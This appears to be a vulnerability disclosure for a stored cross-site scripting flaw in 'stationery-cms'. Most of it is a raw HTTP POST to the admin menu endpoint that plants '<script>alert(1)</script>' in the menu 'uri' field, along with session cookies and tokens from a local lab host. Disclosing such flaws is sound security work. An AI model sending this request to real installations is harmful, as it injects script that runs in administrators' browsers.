Background menu path to add storage xss

[qbz95aaa]

Vulnerability affects product:[stationery-cms]
Vulnerability type:storage xss vulnerability（Cross-site scripting）
Vulnerability Details：
Background menu path to add storage xss
in url
http://192.168.3.129:8091/admin/auth/menu

`
POST /admin/auth/menu HTTP/1.1
Host: 192.168.3.129:8091
Content-Length: 1199
Accept: text/html, /; q=0.01
X-Requested-With: XMLHttpRequest
X-PJAX: true
X-PJAX-Container: #pjax-container
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryefErD1ozpqyCAbDY
Origin: http://192.168.3.129:8091
Referer: http://192.168.3.129:8091/admin/auth/menu
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cms_ds_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJtYXN0ZXIiLCJpc3MiOiJKUkNtcyIsInN1YiI6IkpSQ21zLURhc2hib2FyZCIsImV4cCI6MTY5ODgxOTIzNn0.IbsTyYy5sJZlBDtgIiOb9G6idpa9b2LkWioRlSMlSEA; .AspNetCore.Antiforgery.WE9Ryc20IQg=CfDJ8HxjCh0oOylDk40Utlg0kuUFWVLtvNW_C4pGl8LD435wIbnnMrZdOHOVRm58Tf9ea-RLT8Cp1rFj-RWlZ5XrTw9-pVKvbqtZLLUaL1326gsyfJyfQ4k6KDwnwVkIpwADhj_KGa_UpcDu8IqL7EsVtWw; .AspNetCore.Session=CfDJ8HxjCh0oOylDk40Utlg0kuXb68MZjsW%2FxifhC6RHBoXE9qf6bZAULAztKWrxdQ9IBGV%2FMomSXYW%2BGJr9gVN1G67kZ5ZHUvzZTEMIYQoRouYf9upg6F4i%2BhutGrGde7h3SIdWEXSN5b50ouWrN9AG8MmS%2FGz8y0InZBJWSgEn5O55; .AspNetCore.Cookies=CfDJ8HxjCh0oOylDk40Utlg0kuXw6Bar2FloCPnRmIK8z27i1l1eQZE9H20ZfZqx9xSA5gVSrZS5hfpqeu4tILEhHunDaAOIqfEmmxsRNV2SMHnwXt_-X0kdVf67A8e1MWMxP-p-tuJZSsa7zVQwOFqTVBFHpgk2dGT3N2U0Th0WR3lQUMdM42wC-XbWYchKNG_fiMCNOPg2MXOFaBmuPreHzuI2wxc-a8KiA7afrdzzz4BnurbEbl8aR8DL0WYq8jFHxZdo1RwJwXULO2qvHYIQzgjZvELBShr4j8C6FJ82VBL5Gq3zFSHAJZ0ddy2q9M0cLUVM4alP8kmxfwfeaVHMZR1cS3_WwDQz5hvGNQuVwIijYdb4HUUpYTKZh2hs_j-o0joMSDe7mdS_3rTvyQ5errD_GkyZZnZL7qZ2jydHhlZMa2vPLOHmLFan6WXhtTk0E_1-zYB117H7tFTA_jJGaNrPVYEuQmmSuBf3kwlWwV1TfGQYL7dPbZDscJdMhn34YnL3LvBlWmY6wRO1ZkZrLmRSsIzcWL7PKHaELAXf8VHz; XSRF-TOKEN=eyJpdiI6ImtHbUxWSU9UN0hXSUR6b1RrY0hHSkE9PSIsInZhbHVlIjoiSVdBck53UVBscEYwRjNiR2Z4TkR3azc4WkZlRnFDczRISkJmTVNJd3luRG9MdGk5Z0Q5NDZhQ0RQMTRXMnIyVyIsIm1hYyI6ImJjNTliMWE3MzlmNTdkZGU2MTY1YmQzZDliZGY1NjgyODAxZWI0MzMzNWMzMTVmODczODBkMjI0MDY3ZTNkNGIifQ%3D%3D; laravel_session=eyJpdiI6IldIeUlEM2RmYjltNloxOFdCbVwvT3VBPT0iLCJ2YWx1ZSI6InNvUzNhQnJGOU9nd3JMNkNESjJyeUxHVFUyb015SHJzNzJERFVCcldlaHRTd0U5XC9UanJOODRwc2xLXC9zeEZFYSIsIm1hYyI6IjhkMjgzNGZlZGFkNDNkZTA0ZTE0YjAzZDBjMDNiNzRmNjkxMTYwNDYzYjU4ODFjODVkNzQ5OTA4YTEwYzc4Y2EifQ%3D%3D
Connection: close

------WebKitFormBoundaryefErD1ozpqyCAbDY
Content-Disposition: form-data; name="parent_id"

------WebKitFormBoundaryefErD1ozpqyCAbDY
Content-Disposition: form-data; name="parent_id"

0
------WebKitFormBoundaryefErD1ozpqyCAbDY
Content-Disposition: form-data; name="title"

testxss
------WebKitFormBoundaryefErD1ozpqyCAbDY
Content-Disposition: form-data; name="icon"

fa-bars
------WebKitFormBoundaryefErD1ozpqyCAbDY
Content-Disposition: form-data; name="uri"

<script>alert(1)</script>

------WebKitFormBoundaryefErD1ozpqyCAbDY
Content-Disposition: form-data; name="roles[]"

1
------WebKitFormBoundaryefErD1ozpqyCAbDY
Content-Disposition: form-data; name="roles[]"

------WebKitFormBoundaryefErD1ozpqyCAbDY
Content-Disposition: form-data; name="permission"

------WebKitFormBoundaryefErD1ozpqyCAbDY
Content-Disposition: form-data; name="permission"

------WebKitFormBoundaryefErD1ozpqyCAbDY
Content-Disposition: form-data; name="_token"

ED1xpWqdNpwzitdl1h6dkpsshUMpYwt7fxtNdVVY
------WebKitFormBoundaryefErD1ozpqyCAbDY
Content-Disposition: form-data; name="_token"

ED1xpWqdNpwzitdl1h6dkpsshUMpYwt7fxtNdVVY
------WebKitFormBoundaryefErD1ozpqyCAbDY--
`

then you can view in url
http://192.168.3.129:8091/admin/auth/menu